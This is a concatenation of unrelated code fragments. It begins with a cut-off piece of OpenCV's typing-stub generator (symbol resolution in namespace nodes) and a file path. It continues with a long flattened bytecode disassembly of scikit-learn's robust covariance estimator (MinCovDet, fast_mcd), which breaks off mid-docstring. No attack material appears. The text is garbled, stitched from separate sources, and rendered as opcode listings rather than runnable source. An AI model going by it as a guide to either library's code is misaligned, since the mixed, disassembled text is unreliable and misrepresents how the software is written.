`full_symbol_name`, None otherwise. >>> root = NamespaceNode('cv') >>> cls = root.add_class('Algorithm').add_class('Params') >>> _resolve_symbol(root, 'cv.Algorithm.Params') == cls True >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'cv_detail_AlgorithmType') == enum True >>> root = NamespaceNode('cv') >>> _resolve_symbol(root, 'cv.detail.Algorithm') None >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'AlgorithmType') None """ def search_down_symbol( scope: Optional[ASTNode], scope_sep: str ) -> Optional[ASTNode]: parts = full_symbol_name.split(scope_sep, maxsplit=1) while len(parts) == 2: scope = _resolve_symbol(scope, parts[0]) if scope is None: return None node = _resolve_symbol(scope, parts[1]) if node is not None: return node parts = parts[1].split(scope_sep, maxsplit=1) return None assert root is not None, "Can't resolve symbol '{}' from NONE root".format( full_symbol_name ) for attr in filter( lambda attr: hasattr(root, attr), ("namespaces", "classes", "enumerations") ): nodes_dict = getattr(root, attr) node = nodes_dict.get(full_symbol_name, None) if node is not None: return node for scope_sep in ("_", "."): node = search_down_symbol(root, scope_sep) if node is not None: return node return None
data/opencv-python-4.9.0.80/opencv/modules/python/src2/typing_stubs_generation/nodes/type_node.py
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LOAD_CONST '\nRobust location and covariance estimators.\n\nHere are implemented estimators that are resistant to outliers.\n\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('Integral', 'Real') IMPORT_NAME numbers IMPORT_FROM Integral STORE_NAME Integral IMPORT_FROM Real STORE_NAME Real POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('linalg',) IMPORT_NAME scipy IMPORT_FROM linalg STORE_NAME linalg POP_TOP LOAD_CONST 0 LOAD_CONST ('chi2',) IMPORT_NAME scipy.stats IMPORT_FROM chi2 STORE_NAME chi2 POP_TOP LOAD_CONST 2 LOAD_CONST ('_fit_context',) IMPORT_NAME base IMPORT_FROM _fit_context STORE_NAME _fit_context POP_TOP LOAD_CONST 2 LOAD_CONST ('check_array', 'check_random_state') IMPORT_NAME utils IMPORT_FROM check_array STORE_NAME check_array IMPORT_FROM check_random_state STORE_NAME check_random_state POP_TOP LOAD_CONST 2 LOAD_CONST ('Interval',) IMPORT_NAME utils._param_validation IMPORT_FROM Interval STORE_NAME Interval POP_TOP LOAD_CONST 2 LOAD_CONST ('fast_logdet',) IMPORT_NAME utils.extmath IMPORT_FROM fast_logdet STORE_NAME fast_logdet POP_TOP LOAD_CONST 1 LOAD_CONST ('EmpiricalCovariance', 'empirical_covariance') IMPORT_NAME _empirical_covariance IMPORT_FROM EmpiricalCovariance STORE_NAME EmpiricalCovariance IMPORT_FROM empirical_covariance STORE_NAME empirical_covariance POP_TOP LOAD_CONST 30 LOAD_CONST None LOAD_CONST False LOAD_NAME empirical_covariance LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object c_step at 0x7fab41c96660, file "f.py", line 23> LOAD_CONST 'c_step' MAKE_FUNCTION STORE_NAME c_step LOAD_CONST 30 LOAD_CONST None LOAD_CONST False LOAD_NAME empirical_covariance BUILD_TUPLE LOAD_CONST <code object _c_step at 0x7fab41c96a50, file "f.py", line 101> LOAD_CONST '_c_step' MAKE_FUNCTION STORE_NAME _c_step LOAD_CONST 1 LOAD_CONST 30 LOAD_CONST False LOAD_NAME empirical_covariance LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object select_candidates at 0x7fab41c96c90, file "f.py", line 185> LOAD_CONST 'select_candidates' MAKE_FUNCTION STORE_NAME select_candidates LOAD_CONST None LOAD_NAME empirical_covariance LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object fast_mcd at 0x7fab41c96ed0, file "f.py", line 327> LOAD_CONST 'fast_mcd' MAKE_FUNCTION STORE_NAME fast_mcd LOAD_BUILD_CLASS LOAD_CONST <code object MinCovDet at 0x7fab41c96300, file "f.py", line 525> LOAD_CONST 'MinCovDet' MAKE_FUNCTION LOAD_CONST 'MinCovDet' LOAD_NAME EmpiricalCovariance CALL_FUNCTION STORE_NAME MinCovDet LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST X CALL_METHOD STORE_FAST X LOAD_GLOBAL check_random_state LOAD_FAST random_state CALL_FUNCTION STORE_FAST random_state LOAD_GLOBAL _c_step LOAD_FAST X LOAD_FAST n_support LOAD_FAST remaining_iterations LOAD_FAST initial_estimates LOAD_FAST verbose LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('remaining_iterations', 'initial_estimates', 'verbose', 'cov_computation_method', 'random_state') CALL_FUNCTION RETURN_VALUE LOAD_FAST X LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_samples STORE_FAST n_features LOAD_GLOBAL np LOAD_ATTR inf STORE_FAST dist LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support LOAD_FAST initial_estimates LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST support LOAD_FAST random_state LOAD_METHOD permutation LOAD_FAST n_samples CALL_METHOD LOAD_CONST None LOAD_FAST n_support BUILD_SLICE BINARY_SUBSCR STORE_SUBSCR JUMP_FORWARD to 140 LOAD_FAST initial_estimates LOAD_CONST 0 BINARY_SUBSCR STORE_FAST location LOAD_FAST initial_estimates LOAD_CONST 1 BINARY_SUBSCR STORE_FAST covariance LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST covariance CALL_METHOD STORE_FAST precision LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT STORE_FAST X_centered LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X_centered LOAD_FAST precision CALL_METHOD LOAD_FAST X_centered BINARY_MULTIPLY LOAD_METHOD sum LOAD_CONST 1 CALL_METHOD STORE_FAST dist LOAD_CONST True LOAD_FAST support LOAD_GLOBAL np LOAD_METHOD argsort LOAD_FAST dist CALL_METHOD LOAD_CONST None LOAD_FAST n_support BUILD_SLICE BINARY_SUBSCR STORE_SUBSCR LOAD_FAST X LOAD_FAST support BINARY_SUBSCR STORE_FAST X_support LOAD_FAST X_support LOAD_METHOD mean LOAD_CONST 0 CALL_METHOD STORE_FAST location LOAD_FAST cov_computation_method LOAD_FAST X_support CALL_FUNCTION STORE_FAST covariance LOAD_GLOBAL fast_logdet LOAD_FAST covariance CALL_FUNCTION STORE_FAST det LOAD_GLOBAL np LOAD_METHOD isinf LOAD_FAST det CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST covariance CALL_METHOD STORE_FAST precision LOAD_GLOBAL np LOAD_ATTR inf STORE_FAST previous_det SETUP_LOOP to 376 LOAD_FAST det LOAD_FAST previous_det COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST remaining_iterations LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD isinf LOAD_FAST det CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST location STORE_FAST previous_location LOAD_FAST covariance STORE_FAST previous_covariance LOAD_FAST det STORE_FAST previous_det LOAD_FAST support STORE_FAST previous_support LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST covariance CALL_METHOD STORE_FAST precision LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT STORE_FAST X_centered LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X_centered LOAD_FAST precision CALL_METHOD LOAD_FAST X_centered BINARY_MULTIPLY LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST dist LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support LOAD_CONST True LOAD_FAST support LOAD_GLOBAL np LOAD_METHOD argsort LOAD_FAST dist CALL_METHOD LOAD_CONST None LOAD_FAST n_support BUILD_SLICE BINARY_SUBSCR STORE_SUBSCR LOAD_FAST X LOAD_FAST support BINARY_SUBSCR STORE_FAST X_support LOAD_FAST X_support LOAD_ATTR mean LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST location LOAD_FAST cov_computation_method LOAD_FAST X_support CALL_FUNCTION STORE_FAST covariance LOAD_GLOBAL fast_logdet LOAD_FAST covariance CALL_FUNCTION STORE_FAST det LOAD_FAST remaining_iterations LOAD_CONST 1 INPLACE_SUBTRACT STORE_FAST remaining_iterations JUMP_ABSOLUTE POP_BLOCK LOAD_FAST dist STORE_FAST previous_dist LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT LOAD_FAST precision CALL_METHOD LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT BINARY_MULTIPLY LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST dist LOAD_GLOBAL np LOAD_METHOD isinf LOAD_FAST det CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST location LOAD_FAST covariance LOAD_FAST det LOAD_FAST support LOAD_FAST dist BUILD_TUPLE STORE_FAST results LOAD_GLOBAL np LOAD_METHOD allclose LOAD_FAST det LOAD_FAST previous_det CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST verbose EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'Optimal couple (location, covariance) found before ending iterations (%d left)' LOAD_FAST remaining_iterations BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_FAST location LOAD_FAST covariance LOAD_FAST det LOAD_FAST support LOAD_FAST dist BUILD_TUPLE STORE_FAST results JUMP_FORWARD to 536 LOAD_FAST det LOAD_FAST previous_det COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Determinant has increased; this should not happen: log(det) > log(previous_det) (%.15f > %.15f). You may want to try with a higher value of support_fraction (current value: %.3f).' LOAD_FAST det LOAD_FAST previous_det LOAD_FAST n_support LOAD_FAST n_samples BINARY_TRUE_DIVIDE BUILD_TUPLE BINARY_MODULO LOAD_GLOBAL RuntimeWarning CALL_METHOD POP_TOP LOAD_FAST previous_location LOAD_FAST previous_covariance LOAD_FAST previous_det LOAD_FAST previous_support LOAD_FAST previous_dist BUILD_TUPLE STORE_FAST results LOAD_FAST remaining_iterations LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST verbose EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'Maximum number of iterations reached' CALL_FUNCTION POP_TOP LOAD_FAST location LOAD_FAST covariance LOAD_FAST det LOAD_FAST support LOAD_FAST dist BUILD_TUPLE STORE_FAST results LOAD_FAST results RETURN_VALUE LOAD_GLOBAL check_random_state LOAD_FAST random_state CALL_FUNCTION STORE_FAST random_state LOAD_GLOBAL isinstance LOAD_FAST n_trials LOAD_GLOBAL Integral CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST run_from_estimates JUMP_FORWARD to 78 LOAD_GLOBAL isinstance LOAD_FAST n_trials LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST run_from_estimates LOAD_FAST n_trials STORE_FAST estimates_list LOAD_FAST estimates_list LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_trials JUMP_FORWARD to 78 LOAD_GLOBAL TypeError LOAD_CONST "Invalid 'n_trials' parameter, expected tuple or integer, got %s (%s)" LOAD_FAST n_trials LOAD_GLOBAL type LOAD_FAST n_trials CALL_FUNCTION BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS BUILD_LIST STORE_FAST all_estimates LOAD_FAST run_from_estimates POP_JUMP_IF_TRUE SETUP_LOOP to 202 LOAD_GLOBAL range LOAD_FAST n_trials CALL_FUNCTION GET_ITER FOR_ITER to 128 STORE_FAST j LOAD_FAST all_estimates LOAD_METHOD append LOAD_GLOBAL _c_step LOAD_FAST X LOAD_FAST n_support LOAD_FAST n_iter LOAD_FAST verbose LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('remaining_iterations', 'verbose', 'cov_computation_method', 'random_state') CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 202 SETUP_LOOP to 202 LOAD_GLOBAL range LOAD_FAST n_trials CALL_FUNCTION GET_ITER FOR_ITER to 200 STORE_FAST j LOAD_FAST estimates_list LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST j BINARY_SUBSCR LOAD_FAST estimates_list LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST j BINARY_SUBSCR BUILD_TUPLE STORE_FAST initial_estimates LOAD_FAST all_estimates LOAD_METHOD append LOAD_GLOBAL _c_step LOAD_FAST X LOAD_FAST n_support LOAD_FAST n_iter LOAD_FAST initial_estimates LOAD_FAST verbose LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('remaining_iterations', 'initial_estimates', 'verbose', 'cov_computation_method', 'random_state') CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL zip LOAD_FAST all_estimates CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST all_locs_sub STORE_FAST all_covs_sub STORE_FAST all_dets_sub STORE_FAST all_supports_sub STORE_FAST all_ds_sub LOAD_GLOBAL np LOAD_METHOD argsort LOAD_FAST all_dets_sub CALL_METHOD LOAD_CONST None LOAD_FAST select BUILD_SLICE BINARY_SUBSCR STORE_FAST index_best LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST all_locs_sub CALL_METHOD LOAD_FAST index_best BINARY_SUBSCR STORE_FAST best_locations LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST all_covs_sub CALL_METHOD LOAD_FAST index_best BINARY_SUBSCR STORE_FAST best_covariances LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST all_supports_sub CALL_METHOD LOAD_FAST index_best BINARY_SUBSCR STORE_FAST best_supports LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST all_ds_sub CALL_METHOD LOAD_FAST index_best BINARY_SUBSCR STORE_FAST best_ds LOAD_FAST best_locations LOAD_FAST best_covariances LOAD_FAST best_supports LOAD_FAST best_ds BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL check_random_state LOAD_FAST random_state CALL_FUNCTION STORE_FAST random_state LOAD_GLOBAL check_array LOAD_FAST X LOAD_CONST 2 LOAD_CONST 'fast_mcd' LOAD_CONST ('ensure_min_samples', 'estimator') CALL_FUNCTION STORE_FAST X LOAD_FAST X LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_samples STORE_FAST n_features LOAD_FAST support_fraction LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_CONST 0.5 LOAD_FAST n_samples LOAD_FAST n_features BINARY_ADD LOAD_CONST 1 BINARY_ADD BINARY_MULTIPLY CALL_METHOD CALL_FUNCTION STORE_FAST n_support JUMP_FORWARD to 80 LOAD_GLOBAL int LOAD_FAST support_fraction LOAD_FAST n_samples BINARY_MULTIPLY CALL_FUNCTION STORE_FAST n_support LOAD_FAST n_features LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST n_support LOAD_FAST n_samples COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD sort LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST X CALL_METHOD CALL_METHOD STORE_FAST X_sorted LOAD_FAST X_sorted LOAD_FAST n_support LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST X_sorted LOAD_CONST None LOAD_FAST n_samples LOAD_FAST n_support BINARY_SUBTRACT BUILD_SLICE BINARY_SUBSCR BINARY_SUBTRACT STORE_FAST diff LOAD_GLOBAL np LOAD_METHOD where LOAD_FAST diff LOAD_GLOBAL np LOAD_METHOD min LOAD_FAST diff CALL_METHOD COMPARE_OP == CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST halves_start LOAD_CONST 0.5 LOAD_FAST X_sorted LOAD_FAST n_support LOAD_FAST halves_start BINARY_ADD BINARY_SUBSCR LOAD_FAST X_sorted LOAD_FAST halves_start BINARY_SUBSCR BINARY_ADD LOAD_METHOD mean CALL_METHOD BINARY_MULTIPLY STORE_FAST location LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT STORE_FAST X_centered LOAD_CONST True LOAD_FAST support LOAD_GLOBAL np LOAD_METHOD argsort LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST X_centered CALL_METHOD LOAD_CONST 0 CALL_METHOD LOAD_CONST None LOAD_FAST n_support BUILD_SLICE BINARY_SUBSCR STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD asarray LOAD_GLOBAL np LOAD_METHOD var LOAD_FAST X LOAD_FAST support BINARY_SUBSCR CALL_METHOD BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST covariance LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST location BUILD_LIST CALL_METHOD STORE_FAST location LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST covariance CALL_METHOD STORE_FAST precision LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X_centered LOAD_FAST precision CALL_METHOD LOAD_FAST X_centered BINARY_MULTIPLY LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST dist JUMP_FORWARD to 414 LOAD_GLOBAL np LOAD_ATTR ones LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support LOAD_GLOBAL np LOAD_METHOD asarray LOAD_GLOBAL np LOAD_METHOD var LOAD_FAST X CALL_METHOD BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST covariance LOAD_GLOBAL np LOAD_METHOD asarray LOAD_GLOBAL np LOAD_METHOD mean LOAD_FAST X CALL_METHOD BUILD_LIST CALL_METHOD STORE_FAST location LOAD_FAST X LOAD_FAST location BINARY_SUBTRACT STORE_FAST X_centered LOAD_GLOBAL linalg LOAD_METHOD pinvh LOAD_FAST covariance CALL_METHOD STORE_FAST precision LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST X_centered LOAD_FAST precision CALL_METHOD LOAD_FAST X_centered BINARY_MULTIPLY LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST dist LOAD_FAST n_samples LOAD_CONST 500 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST n_features LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST n_samples LOAD_CONST 300 BINARY_FLOOR_DIVIDE STORE_FAST n_subsets LOAD_FAST n_samples LOAD_FAST n_subsets BINARY_FLOOR_DIVIDE STORE_FAST n_samples_subsets LOAD_FAST random_state LOAD_METHOD permutation LOAD_FAST n_samples CALL_METHOD STORE_FAST samples_shuffle LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST n_samples_subsets LOAD_FAST n_support LOAD_GLOBAL float LOAD_FAST n_samples CALL_FUNCTION BINARY_TRUE_DIVIDE BINARY_MULTIPLY CALL_METHOD CALL_FUNCTION STORE_FAST h_subset LOAD_CONST 500 STORE_FAST n_trials_tot LOAD_CONST 10 STORE_FAST n_best_sub LOAD_GLOBAL max LOAD_CONST 10 LOAD_FAST n_trials_tot LOAD_FAST n_subsets BINARY_FLOOR_DIVIDE CALL_FUNCTION STORE_FAST n_trials LOAD_FAST n_subsets LOAD_FAST n_best_sub BINARY_MULTIPLY STORE_FAST n_best_tot LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_best_tot LOAD_FAST n_features BUILD_TUPLE CALL_METHOD STORE_FAST all_best_locations SETUP_EXCEPT to 552 LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_best_tot LOAD_FAST n_features LOAD_FAST n_features BUILD_TUPLE CALL_METHOD STORE_FAST all_best_covariances POP_BLOCK JUMP_FORWARD to 598 DUP_TOP LOAD_GLOBAL MemoryError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST 10 STORE_FAST n_best_tot LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_best_tot LOAD_FAST n_features LOAD_FAST n_features BUILD_TUPLE CALL_METHOD STORE_FAST all_best_covariances LOAD_CONST 2 STORE_FAST n_best_sub POP_EXCEPT JUMP_FORWARD to 598 END_FINALLY SETUP_LOOP to 720 LOAD_GLOBAL range LOAD_FAST n_subsets CALL_FUNCTION GET_ITER FOR_ITER to 718 STORE_FAST i LOAD_FAST i LOAD_FAST n_samples_subsets BINARY_MULTIPLY STORE_FAST low_bound LOAD_FAST low_bound LOAD_FAST n_samples_subsets BINARY_ADD STORE_FAST high_bound LOAD_FAST X LOAD_FAST samples_shuffle LOAD_FAST low_bound LOAD_FAST high_bound BUILD_SLICE BINARY_SUBSCR BINARY_SUBSCR STORE_FAST current_subset LOAD_GLOBAL select_candidates LOAD_FAST current_subset LOAD_FAST h_subset LOAD_FAST n_trials LOAD_FAST n_best_sub LOAD_CONST 2 LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('select', 'n_iter', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST best_locations_sub STORE_FAST best_covariances_sub STORE_FAST _ STORE_FAST _ LOAD_GLOBAL np LOAD_METHOD arange LOAD_FAST i LOAD_FAST n_best_sub BINARY_MULTIPLY LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_FAST n_best_sub BINARY_MULTIPLY CALL_METHOD STORE_FAST subset_slice LOAD_FAST best_locations_sub LOAD_FAST all_best_locations LOAD_FAST subset_slice STORE_SUBSCR LOAD_FAST best_covariances_sub LOAD_FAST all_best_covariances LOAD_FAST subset_slice STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL min LOAD_CONST 1500 LOAD_FAST n_samples CALL_FUNCTION STORE_FAST n_samples_merged LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST n_samples_merged LOAD_FAST n_support LOAD_GLOBAL float LOAD_FAST n_samples CALL_FUNCTION BINARY_TRUE_DIVIDE BINARY_MULTIPLY CALL_METHOD CALL_FUNCTION STORE_FAST h_merged LOAD_FAST n_samples LOAD_CONST 1500 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 10 STORE_FAST n_best_merged JUMP_FORWARD to 776 LOAD_CONST 1 STORE_FAST n_best_merged LOAD_FAST random_state LOAD_METHOD permutation LOAD_FAST n_samples CALL_METHOD LOAD_CONST None LOAD_FAST n_samples_merged BUILD_SLICE BINARY_SUBSCR STORE_FAST selection LOAD_GLOBAL select_candidates LOAD_FAST X LOAD_FAST selection BINARY_SUBSCR LOAD_FAST h_merged LOAD_FAST all_best_locations LOAD_FAST all_best_covariances BUILD_TUPLE LOAD_FAST n_best_merged LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('n_trials', 'select', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST locations_merged STORE_FAST covariances_merged STORE_FAST supports_merged STORE_FAST d LOAD_FAST n_samples LOAD_CONST 1500 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST locations_merged LOAD_CONST 0 BINARY_SUBSCR STORE_FAST location LOAD_FAST covariances_merged LOAD_CONST 0 BINARY_SUBSCR STORE_FAST covariance LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST n_samples LOAD_GLOBAL bool LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST support LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_samples CALL_METHOD STORE_FAST dist LOAD_FAST supports_merged LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST support LOAD_FAST selection STORE_SUBSCR LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST dist LOAD_FAST selection STORE_SUBSCR JUMP_FORWARD to 970 LOAD_GLOBAL select_candidates LOAD_FAST X LOAD_FAST n_support LOAD_FAST locations_merged LOAD_FAST covariances_merged BUILD_TUPLE LOAD_CONST 1 LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('n_trials', 'select', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST locations_full STORE_FAST covariances_full STORE_FAST supports_full STORE_FAST d LOAD_FAST locations_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST location LOAD_FAST covariances_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST covariance LOAD_FAST supports_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST support LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR STORE_FAST dist JUMP_FORWARD to 1084 LOAD_FAST n_features LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 30 STORE_FAST n_trials LOAD_CONST 10 STORE_FAST n_best LOAD_GLOBAL select_candidates LOAD_FAST X LOAD_FAST n_support LOAD_FAST n_trials LOAD_FAST n_best LOAD_CONST 2 LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('n_trials', 'select', 'n_iter', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST locations_best STORE_FAST covariances_best STORE_FAST _ STORE_FAST _ LOAD_GLOBAL select_candidates LOAD_FAST X LOAD_FAST n_support LOAD_FAST locations_best LOAD_FAST covariances_best BUILD_TUPLE LOAD_CONST 1 LOAD_FAST cov_computation_method LOAD_FAST random_state LOAD_CONST ('n_trials', 'select', 'cov_computation_method', 'random_state') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST locations_full STORE_FAST covariances_full STORE_FAST supports_full STORE_FAST d LOAD_FAST locations_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST location LOAD_FAST covariances_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST covariance LOAD_FAST supports_full LOAD_CONST 0 BINARY_SUBSCR STORE_FAST support LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR STORE_FAST dist LOAD_FAST location LOAD_FAST covariance LOAD_FAST support LOAD_FAST dist BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MinCovDet' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'Minimum Covariance Determinant (MCD): robust estimator of covariance.\n\n The Minimum Covariance Determinant covariance estimator is to be applied\n on Gaussian-distributed data, but could still be relevant on data\n drawn from a unimodal, symmetric distribution. It is not meant to be used\n with multi-modal data (the algorithm used to fit a MinCovDet object is\n likely to fail in such a case).\n One should consider projection pursuit methods to deal with multi-modal\n datasets.\n\n Read more in the :ref:`User Guide <robust_covariance>`.\n\n Parameters\n ----------\n store_precision : bool, default=True\n Specify if the estimated precision is stored.\n\n assume_centered : bool, default=False\n If True, the support of the robust location and the covariance\n estimates is computed, and a covariance estimate is recomputed from\n it, without centering the data.\n Useful to work with data whose mean is significantly equal to\n zero but is not exactly zero.\n If False, the robust location and covariance are directly computed\n with the FastMCD algorithm without additional treatment.\n\n support_fraction : float, default=None\n The proportion of points to be included in the support of the raw\n MCD estimate. Default is None, which implies that the minimum\n value of support_fraction will be used within the algorithm:\n `(n_samples + n_features + 1) / 2 * n_samples`. The parameter must be\n in the range (0, 1].\n\n random_state : int, RandomState instance or None, default=None\n Determines the pseudo random number generator for shuffling the data.\n Pass an int for reproducible results across multiple function calls.\n See :term:`Glossary <random_state>`.\n\n Attributes\n ----------\n raw_location_ : ndarray of shape (n_features,)\n The raw robust estimated location before correction and re-weighting.\n\n raw_covariance_ : ndarray of shape (n_features, n_features)\n The raw robust estimated covariance before correction and re-weighting.\n\n raw_support_ : ndarray of shape (n_samples,)\n A mask of the observations that have been used to compute\n the raw robust estimates of location and shape, before correction\n and re-weighting.\n\n location_ : ndarray of shape (n_features,)\n Estimated robust location.\n\n covariance_ : ndarray of shape (n_features, n_features)\n Estimated robust covariance matrix.\n\n precision_ : ndarray of shape (n_features, n_features)\n Estimated pseudo inverse matrix.\n (stored only if store_precision is True)\n\n support_ : ndarray of shape (n_samples,)\n A mask of the observations that have been used to compute\n the robust estimates of location and shape.\n\n dist_ : ndarray of shape (n_samples,)\n Mahalanobis distances of the training set (on which :meth:`fit` is\n called) observations.\n\n n_features_in_ : int\n Number of features seen during :term:`fit`.\n\n .. versionadded:: 0.24\n\n feature_names_in_ : ndarray of shape (`n_features_in_`,)\n Names of features seen during :term:`fit`. Defined only when `X`\n has feature names that are all strings.\n\n .. versionadded:: 1.0\n\n See Also\n --------\n 